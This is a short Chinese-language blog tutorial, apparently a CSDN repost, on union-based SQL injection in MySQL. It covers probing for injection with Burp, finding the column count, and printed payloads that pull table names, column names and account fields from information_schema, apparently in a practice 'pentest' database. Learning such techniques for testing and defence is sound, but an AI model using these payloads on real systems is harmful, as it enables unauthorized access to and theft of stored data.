基于错误的SQL注入(union联合注入)

前提:未过滤

mysql中比较常用的一些函数

version(): 查询数据库的版本          
user():查询数据库的使用者       
database():数据库
system_user():系统用户名
session_user():连接数据库的用户名
current_user:当前用户名
load_file():读取本地文件
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_complie_os:查看操作系统
CAST( 字段名 as 转换的类型)
IFNULL() 函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值。

数字型注入

1、burp抓包,发送至repeater,用and 1=1,and 1=2试试是否有注入点

2、用order by判断位数,看页面是否正常,也可用二分法进行测试, 因为UNION内部的SELECT语句必须拥有相同数量的列,列也必须拥有相似的数据类型。

3、union查询判断显示位,可故意输入不存在的id,直接显示当前列数,前面查询不存在的时候,执行后面的语句

4、可以查看链接目标的数据库版本,user(),version(),database(), group_concat():将括号中的所有参数拼接成一个字符串; substr(str,start,length):截取str字符串中从start开始,长度为length的子串

知道database()

查看表名

-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘pentest’

查看列名

-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘pentest’ and table_name=‘account’

查看字段

1 union select 1,group_concat(id,’@’,rest,’@’,own),3 from pentest.account

字符型注入(同数字型)

1、用'判断是否报错,在数字型注入的基础上考虑闭合

发布了35 篇原创文章 · 获赞 12 · 访问量 5万+

猜你喜欢

转载自blog.csdn.net/Candyys/article/details/105542662
今日推荐